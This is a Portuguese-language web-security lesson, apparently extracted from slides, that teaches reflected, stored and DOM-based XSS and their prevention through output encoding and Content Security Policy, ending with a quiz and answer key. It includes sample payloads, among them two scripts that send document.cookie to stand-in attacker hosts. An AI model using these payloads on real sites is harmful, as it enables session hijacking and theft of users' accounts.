Aula 10 - Cross-Site Scripting (XSS)

A internet se tornou uma parte inseparavel de nossas vidas, e a cada clique, interacao ou compra online,
confiamos que as aplicacdes web que usamos sao seguras. No entanto, essa confianca pode ser facilmente
quebrada por vulnerabilidades que, muitas vezes, passam despercebidas. Imagine que vocé esta navegando em
um site que parece legitimo, mas, sem saber, ele estd executando um cdodigo malicioso que rouba suas
informacdes ou manipula o que vocé vé. Essa é a esséncia do Cross-Site Scripting, ou XSS, uma das ameacas
mais persistentes e perigosas da web.

Aprender sobre XSS nao é apenas uma formalidade; € uma necessidade critica para qualquer profissional que atue
no desenvolvimento, seguranca ou auditoria de aplicacoes web. Embora o OWASP Top 10 de 2021 tenha
categorizado o XSS dentro da categoria mais ampla de "Injecao", sua especificidade e o impacto devastador que
pode causar justificam uma atencao dedicada. Compreender o XSS significa estar um passo a frente dos
atacantes, protegendo nao apenas os sistemas, mas também a privacidade e a seguranca dos usuarios.

Nesta aula, embarcaremos em uma jornada para desvendar o Cross-Site Scripting. Nosso objetivo é que vocé seja
capaz de identificar os diferentes tipos de XSS - refletido, armazenado e baseado em DOM - entender como 0s
atacantes os exploram e, o mais importante, dominar as técnicas de prevencao mais eficazes, como o output
encoding e a Content Security Policy (CSP). Ao final, vocé tera uma visao clara e pratica de como proteger suas
aplicacoes contra essa ameaca insidiosa.



Desvendando o XSS: O Que E e Por Que E
Tao Perigoso?

[ Analogia: Imagine que vocé esta em uma biblioteca, e um livro que vocé pega emprestado, em vez de
conter apenas a histdria que vocé esperava, tem paginas extras inseridas por alguém, com instrucoes
secretas que vocé, sem perceber, acaba seguindo.

No mundo digital, o Cross-Site Scripting (XSS) funciona de forma semelhante. Ele permite que um atacante injete
scripts maliciosos, geralmente em JavaScript, em paginas web que sao visualizadas por outros usuarios. O
navegador da vitima, confiando na origem da pagina, executa esse script como se ele fizesse parte legitima do

site.

Para entender melhor, pense em um carteiro (o servidor web) que entrega uma carta (a pagina web) a vocé (o
navegador). Se alguém conseguiu esconder um bilhete com instrucdoes falsas dentro dessa carta antes que o
carteiro a entregasse, e vocé, confiando na carta, segue essas instru¢oes, vocé foi vitima de uma fraude. O XSS
explora exatamente essa confianca, transformando uma pagina aparentemente inofensiva em um vetor para acdes
maliciosas.



XSS Refletido: O Ataque "Instantaneo"

Caracteristicas Como Funciona
e Nao armazenado no servidor O XSS Refletido é chamado assim porque o script malicioso nao é
« "Refletido" na resposta HTTP armazenado permanentemente no servidor da aplicacao. Em vez disso,

e Requer interacao da vitima

ele é "refletido" de volta para o usuario a partir da resposta HTTP do

servidor, geralmente como parte de uma requisicao que o proprio

e Tipo mais comum de XSS

usuario fez. Pense nisso como um eco: vocé grita algo e o ambiente

devolve o som, mas, neste caso, o eco esta distorcido e contém uma

mensagem perigosa.

Mecanica do Ataque

01

02

Elaboracao da URL Maliciosa

O atacante cria uma URL contendo o payload XSS e a
envia para a vitima via e-mail, redes sociais ou sites
comprometidos.

03

Clique da Vitima

A vitima clica no link, enviando a requisicao maliciosa ao
servidor da aplicacao vulneravel.

04

Resposta do Servidor

O servidor, sem sanitizacao adequada, inclui o script
malicioso na resposta HTML enviada de volta.

() Exemplo Classico: Campo de Busca

Execucao no Navegador

O navegador da vitima executa o script, pois ele parece
vir do dominio confiavel.

Se um site ndo sanitiza o termo de busca antes de exibi-lo na pagina de resultados, um atacante pode

criar um link como:

https://exemplo.com/busca?q=<script>alert('XSS');</script>

Embora um alert() seja inofensivo, ele demonstra a capacidade de execucao de codigo. Em um cenario
real, esse script poderia roubar cookies de sessao ou redirecionar o usuario para um site falso.



XSS Armazenado: A Ameaca Persistente

O tipo mais perigoso de XSS

Se 0 XSS Refletido é um eco momentaneo, o XSS Armazenado (ou Persistente) € como uma bomba-relogio
plantada diretamente no coracao da aplicacao, esperando para explodir para qualquer visitante desavisado. Este é
considerado o tipo mais perigoso de XSS, pois o payload malicioso € salvo permanentemente no servidor da
aplicacao - seja em um banco de dados, sistema de arquivos ou outro repositério de dados. Uma vez armazenado,
ele sera servido a todos os usuarios que acessarem a pagina afetada, sem a necessidade de um link malicioso

direto.
1 2
Injecao do Payload Armazenamento
Atacante insere script malicioso em campo de Servidor armazena o cddigo sem validacao ou
entrada (comentarios, posts, perfis, mensagens). sanitizacao no banco de dados.
3 4
Distribuicao Execucao em Massa
Cddigo malicioso é servido a todos 0s usuarios que Navegadores de multiplas vitimas executam o
acessam a pagina afetada. script automaticamente.

Exemplo Pratico

Um atacante posta um comentario em um blog que contém:
<script>window.location="http://site-do-atacante.com/roubar_cookies.php?c="+document.cookie;</script>

Qualquer pessoa que visitar a pagina desse comentario tera seus cookies de sessao enviados para o servidor
do atacante, permitindo que ele assuma a identidade da vitima.

(J Por que étao perigoso? A persisténcia do ataque e a ampla gama de vitimas potenciais tornam o XSS
Armazenado uma prioridade maxima em termos de prevencao.



XSS Baseado em DOM: O Perigo no Lado do
Cliente

Enquanto os tipos Refletido e Armazenado envolvem o servidor de alguma forma (refletindo ou armazenando o
payload), o XSS Baseado em DOM (Document Object Model) € um pouco mais sutil e opera predominantemente no
lado do cliente. Neste cenario, a vulnerabilidade nao esta na forma como o servidor processa ou armazena 0s
dados, mas sim na maneira como o codigo JavaScript do lado do cliente manipula o DOM de uma pagina, pegando
dados de uma fonte controlavel pelo atacante (como a URL) e inserindo-os no DOM sem a devida sanitizacao.

Analogia Diferencial

Imagine que o servidor entrega um kit de montar um O navegador da vitima, ao executar o JavaScript,
brinquedo (o codigo HTML e JavaScript da pagina) constrdi a pagina de forma vulneravel, mesmo que o
que, por si soO, é seguro. No entanto, as instrucdes de servidor tenha enviado uma pagina "limpa". A
montagem (o JavaScript) permitem que uma peca vulnerabilidade esta no codigo JavaScript do cliente,
falsa (o payload malicioso) seja inserida no lugar de nao no servidor.

uma peca legitima, porque as instru¢cdes nao verificam
a autenticidade da peca.

Exemplo Comum

Um exemplo comum de XSS Baseado em DOM ocorre quando um script JavaScript [é um parametro da URL (como
window.location.hash ou window.location.search) e o insere diretamente no HTML da pagina usando funcdées como
document.write() ou element.innerHTML.

// Codigo vulneravel
document.write(location.hash.substring(1));

// URL maliciosa
https://exemplo.com/#<script>alert('XSS')</script>

Comparacao dos Trés Tipos

Conceito Ambito/Origem Persisténcia Exemplo de Exploracao

Refletido Servidor (resposta) Nao Link malicioso em e-mail/chat

Armazenado Servidor (banco de Sim Comentario em blog, post em
dados) forum

Baseado em DOM Cliente (JavaScript) Nao Manipulacao de URL via

location.hash ou search



Como os Atacantes Exploram o XSS:

Cenarios Comuns

Compreender os tipos de XSS é o primeiro passo, mas para realmente se defender, é crucial pensar como um
atacante. A exploracao do XSS nao se limita a um simples pop-up; ela pode ter consequéncias devastadoras,
comprometendo a seguranca e a privacidade dos usuarios de maneiras variadas e criativas. Os atacantes buscam,
em ultima instancia, roubar informacdes, manipular o comportamento da aplicacao ou até mesmo assumir o

controle da sessao do usuario.

Roubo de Cookies de Sessao

O cenario mais comum e perigoso. O script XSS
usa document.cookie para extrair cookies e envia-
los para um servidor controlado pelo atacante,
permitindo sequestro de sessao sem necessidade
de senha.

Defacement (Desfiguracao)

Alterar a aparéncia visual da pagina web, inserindo
mensagens falsas ou conteudo ofensivo para
prejudicar a reputacao do site.

Redirecionamento Malicioso

Redirecionar a vitima para um site de phishing ou
para um site que hospeda malware,
comprometendo ainda mais a seguranca.

Keylogging

Injetar um script que registra todas as teclas
digitadas pela vitima na pagina, capturando
senhas, numeros de cartao de crédito e outras
informacdes sensiveis.

Phishing no Préprio Site
Criar formularios de login falsos ou pop-ups que
solicitam informacdes confidenciais, fazendo com

que a vitima acredite que esta interagindo com o
site legitimo.

Execucao de Requisicoes Arbitrarias

Forcar o navegador da vitima a fazer requisicoes
HTTP para o servidor, realizando acées em nome
da vitima (como alterar configuracdes, fazer
compras ou enviar mensagens).

() Lembre-se: A criatividade do atacante é o limite, mas o objetivo final € sempre comprometer a confianca
entre o usuario e a aplicacao web. A capacidade de um script malicioso de operar dentro do contexto de
seguranca do site legitimo € o que torna o XSS uma ameaca tao potente e versatil.




Prevencao Essencial: Output Encoding

A primeira linha de defesa

A primeira e mais fundamental linha de defesa contra o Cross-Site Scripting € garantir que os dados de entrada
fornecidos pelos usuarios nunca sejam interpretados como cédigo executavel pelo navegador. E aqui que entra o
Output Encoding, uma técnica crucial que atua como um "tradutor" de seguranca. Pense nisso como embalar um
objeto potencialmente perigoso em um involucro protetor antes de entrega-lo, para que ele nao cause danos.

O Que E Output Encoding?

O Output Encoding, também conhecido como Exemplos de Conversao
Contextual Encoding, é o processo de converter
caracteres especiais em suas entidades HTML ¢ <&l
correspondentes antes que esses dados sejam o > &gt;
renderizados na pagina web. ¢ "> &quot;
o ' &#39,;

Entrada Maliciosa Output Encoding Exibicao Segura
<script>alert('XSS');</script> Conversao de caracteres &lt;script&gt;alert("XSS");&lt;/script

especiais em entidades HTML &gt;

Importancia Critica

(J A importancia do Output Encoding ndao pode ser subestimada. Ele deve ser aplicado sempre que dados
nao confiaveis (qualquer coisa que venha de fora da aplicacao, como entrada do usuario, dados de APIs
externas, etc.) sao inseridos em uma pagina HTML.

- o %

Contextual Universal Efetivo

O tipo de encoding depende do Deve ser aplicado a todos os Neutraliza o cédigo malicioso
contexto: HTML, atributos dados nao confiaveis sem tratando-o como texto literal.
HTML, JavaScript, URL, etc. excecao.

Sem o Output Encoding adequado, um atacante pode injetar <script>alert('XSS');</script> em um campo de
comentario. Se o servidor simplesmente exibir esse comentario, o navegador vera <script> e executara o
JavaScript. Com o encoding, o navegador veria &lt;script&gt;alert('XSS"); &lt;/script&gt;, e exibiria isso como texto na
tela, sem executar nada. Essa é a base da defesa contra XSS.



Prevencao Avancada: Content Security
Policy (CSP)

Mesmo com as melhores praticas de Output Encoding, falhas humanas ou Iégicas podem ocorrer, abrindo brechas
para ataques XSS. E por isso que a seguranca em profundidade é essencial, e a Content Security Policy (CSP)
surge como uma camada de defesa robusta e moderna. Pense no CSP como um conjunto de regras de seguranca
gue vocé entrega ao navegador, instruindo-o sobre quais recursos (scripts, estilos, imagens, fontes, etc.) ele pode
carregar e de onde. E como ter um guarda de seguranca na entrada de um prédio, verificando a identidade de
todos que tentam entrar.

Como Funciona o CSP

01 02

Implementacao via Cabecalho HTTP Definicao de Diretivas

O CSP é implementado através de um cabecalho de O cabecalho contém diretivas que definem as fontes
resposta HTTP (Content-Security-Policy) que o servidor ~ permitidas para diferentes tipos de conteudo (scripts,
envia junto com a pagina web. estilos, imagens, etc.).

03 04

Validacao pelo Navegador Bloqueio de Recursos Nao Autorizados

O navegador verifica cada recurso carregado contraas  Recursos de fontes nao listadas sao blogqueados
politicas definidas no cabecalho CSP. automaticamente, mitigando ataques XSS.

Exemplo de Politica CSP

Content-Security-Policy: default-src 'self’;
script-src 'self' https://trusted.cdn.com;
object-src 'none’;

default-src 'self’ script-src 'self’ object-src 'none’

https://trusted.cdn.com Nenhum objeto (como Flash)

Por padrao, todos os recursos
devem vir do proprio dominio. Scripts podem vir do proprio pode ser carregado.
dominio ou do CDN

especificado.

[ Beneficios do CSP

e Reduz significativamente o impacto de ataques XSS
e Protege contra clickjacking e injecao de dados
e Adiciona uma camada extra de controle sobre o0 comportamento do navegador

e Complementa o Output Encoding como defesa em profundidade

O CSP é uma ferramenta poderosa para reduzir significativamente o impacto de ataques XSS, clickjacking e
injecao de dados. No entanto, sua configuracao exige cuidado, pois uma politica muito restritiva pode quebrar a
funcionalidade legitima do site, e uma politica muito permissiva pode nao oferecer a protecao desejada. E uma
defesa em profundidade que complementa o Output Encoding, adicionando uma camada extra de controle sobre o
comportamento do navegador.



Demonstracoes Praticas e Defesas em Acao

A teoria é fundamental, mas a compreensao se aprofunda quando vemos 0s conceitos em acao. Vamos simular

mentalmente como um atacante exploraria uma vulnerabilidade XSS e, em seguida, como as defesas que
discutimos neutralizariam esses ataques. Essa visualizacao é crucial para solidificar seu conhecimento e prepara-

lo para identificar e mitigar essas ameacas no mundo real.

Cenario 1: Ataque Refletido

Ataque

Imagine um site de e-commerce com uma barra de
busca. Se o site nao sanitiza a entrada, um atacante
pode criar um link como:

Quando a vitima clica neste link, 0 navegador envia a
requisicao para loja.com. O servidor, ao gerar a
pagina de resultados, insere o valor de q diretamente
no HTML. O navegador da vitima, entao, executa o

- injetado, exibindo um pop-up. Em um ataque

real, esse script poderia roubar o _ e

envia-lo para o atacante.

Defesa com Output Encoding

Se o site de e-commerce utilizasse uma funcao de
encoding antes de exibir o conteudo, o payload seria
transformado em:

O navegador, ao receber isso, nao veria tags -
e -, mas sim o texto literal, exibindo-o na tela
sem executar nenhum cdédigo. O ataque é
neutralizado.

Cenario 2: Ataque Armazenado

Ataque

Considere um forum online onde usudrios podem
postar mensagens. Se o campo de postagem nao
sanitiza a entrada, um atacante pode postar:

Ola a todos!

<script>
fetch('https://atacante.com/log?cookie="'
+ document.cookie);

</script>

Esta mensagem € armazenada no banco de dados do
forum. Qualquer usuario que visitar a pagina onde
essa mensagem esta postada tera seu navegador
executando o script, que silenciosamente envia seus
cookies de sessao para o servidor do atacante.

Defesa com Output Encoding

Se o férum utilizasse Output Encoding, o payload seria
convertido em entidades HTML antes de ser exibido. O
codigo malicioso seria renderizado como texto visivel,

nao como codigo executavel.

O navegador exibiria literalmente o texto do script na
tela, sem executa-lo, protegendo todos os visitantes
da pagina.

Cenario 3: Defesa com CSP

Mesmo que um script XSS consiga ser injetado (por exemplo, por uma falha no encoding), o CSP pode atuar
como uma barreira final. Se a politica do site for Content-Security-Policy: script-src 'self', e o script injetado tentar
carregar um recurso externo (como fetch('https://atacante.com/log...")), o navegador bloqueara essa requisi¢ao
porque atacante.com nao esta na lista de fontes permitidas para scripts.

O script pode até ser executado em parte, mas suas acoes maliciosas (como exfiltrar dados) seriam impedidas.

[ Conclusao: A seguranca é um processo continuo e multicamadas. A combinacao de praticas de

codificacao seguras (como Output Encoding) e configuracdes de seguranca robustas no lado do servidor

(como CSP) é a chave para construir aplicacées web resilientes contra o XSS e outras vulnerabilidades de

injecao.



Consolidacao e Proximos Passos

Chegamos ao fim de nossa jornada pelo universo do Cross-Site Scripting. Vimos que o XSS é uma ameaca
persistente e multifacetada, capaz de explorar a confianca entre o navegador e as aplicacées web de maneiras
diversas. Exploramos os trés tipos principais — Refletido, Armazenado e Baseado em DOM - compreendendo suas
nuances e como os atacantes os utilizam para roubar informacdes, manipular conteudo e comprometer a
seguranca dos usuarios. Mais importante, aprendemos sobre as defesas essenciais: o Output Encoding, que
neutraliza o codigo malicioso ao trata-lo como dados, e a Content Security Policy (CSP), que atua como um
guardiao, controlando quais recursos o0 navegador pode carregar e executar.

Em Pratica

1 2
Revise o Cddigo Aplique Output Encoding
Comece revisando o cédigo de suas aplicacées em Certifigue-se de que todo o conteudo gerado pelo
busca de pontos de entrada de dados nao usuario seja devidamente codificado para o
confiaveis. contexto HTML, JavaScript ou URL antes de ser

exibido.

3 4
Implemente CSP Mantenha Vigilancia
Considere a implementacao de uma Content A seguranca € um esforco continuo, e a vigilancia é
Security Policy robusta para adicionar uma camada sua melhor aliada.

extra de protecao.

Autoavaliacao

1. Qual tipo de XSS é considerado 0 mais perigoso por armazenar o payload malicioso no servidor, afetando
multiplos usuarios?

o a) XSS Refletido
o b) XSS Baseado em DOM
o ¢) XSS Armazenado
o d) XSS Direto
2. A principal funcao do Output Encoding na prevencao de XSS é:

(0]

a) Criptografar os dados antes de envia-los ao navegador.
b

o

)
) Converter caracteres especiais em entidades HTML para que ndo sejam interpretados como codigo.
o ) Bloquear requisicoes de dominios nao confiaveis.

o d) Validar o tipo de dado inserido pelo usuario.

3. Um atacante cria uma URL maliciosa e a envia para a vitima. Ao clicar, 0 navegador da vitima executa um script
que o servidor "refletiu" da requisicao. Este cenario descreve qual tipo de XSS?

a) XSS Armazenado

b) XSS Refletido

c) XSS Baseado em DOM
d) XSS Persistente

o

o

o

o

4. A Content Security Policy (CSP) é implementada principalmente através de:
o a) Um script JavaScript no lado do cliente.
o b) Um cabecalho de resposta HTTP.
o ¢) Umatag <meta> no HTML, sem interacao com o servidor.
o d) Um arquivo de configuracao no servidor web, como .htaccess.

5. Explique como um ataque XSS pode ser utilizado para roubar cookies de sessao de um usuario e quais sao as
implicacdes de seguranca dessa acao.

[J Gabarito

1.c) | 2.b) | 3.b) | 4.b)

Conexao com a Proxima Aula

A seguranca nao para no navegador; ela se estende as APIs que alimentam nossas aplicagcdes. Na Aula 11-
Seguranca em APIs (REST e GraphQL), exploraremos como proteger as interfaces de programacao que sao a
espinha dorsal das aplicacdes modernas, garantindo que a comunicacao entre servicos seja tao robusta quanto
a interacao com o usuario final.

Recursos Adicionais

e OWASP XSS Prevention Cheat Sheet: Guia detalhado sobre como prevenir XSS em diferentes contextos.

e MDN Web Docs sobre Content Security Policy: Documentacao completa sobre como implementar e configurar
CSP.

e PortSwigger Web Security Academy (XSS Labs): Plataforma interativa para praticar ataques e defesas XSS.

[ NOTA IMPORTANTE: As informacdes regulatérias/legais/técnicas desta aula estdo atualizadas até 2025.
Consulte sempre fontes oficiais para verificar alteracodes.



